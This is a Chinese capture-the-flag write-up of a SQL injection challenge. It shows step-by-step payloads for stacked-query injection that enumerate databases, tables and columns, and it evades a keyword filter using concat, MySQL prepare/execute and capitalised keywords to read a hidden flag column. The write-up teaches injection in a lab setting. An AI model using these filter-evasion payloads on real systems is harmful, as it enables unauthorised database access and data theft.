场景打开如下,输入1提交,显示如下

<1>输入1’报错,输入1′ #显示正常,确定存在sql注入


<2>输入1′ union select 1#报错如下,发现存在关键字过滤。由于preg_match()函数返回的值是匹配指定字符串的次数,所以双写绕过无效;正则中的/i模式是忽略大小写,所以大小写绕过无效。

<3>尝试堆叠注入1′;show databases # 查数据库名,成功

<4>继续查询表名:1′;show tables #

<5>查询words表字段名:1′;show columns from `words` # ,注意这里有个小知识点,就是表名要用` `(反引号)引起来。

<6>查询1919810931114514表字段名:1′;show columns from `1919810931114514` # ,发现flag字段。

<7>堆叠注入到这里就没办法了,因为堆叠注入查询不到字段的具体值。
下面使用Mysql预处理语句:
- 1.prepare:准备一条sql语句,并分配给这个语句一个名字供之后使用。
- 2.execute:执行该语句
- 3.deallocate prepare:释放语句
set @a=concat("sel","ect flag from `1919810931114514`");
prepare inject from @a; //给这条语句起名inject
execute inject; //执行该语句
<8>尝试注入 1′;set @a=concat(“sel”,”ect flag from `1919810931114514`”);prepare inject from @a;execute inject; # ,结果报错,从报错中可知,过滤了set和prepare关键字

<9>大写绕过过滤 1′;Set @a=concat(“sel”,”ect flag from `1919810931114514`”);Prepare inject from @a;execute inject; # ,成功拿到flag。

参考:https://www.cnblogs.com/hello-there/p/12794725.html
微信扫一扫,打赏作者吧~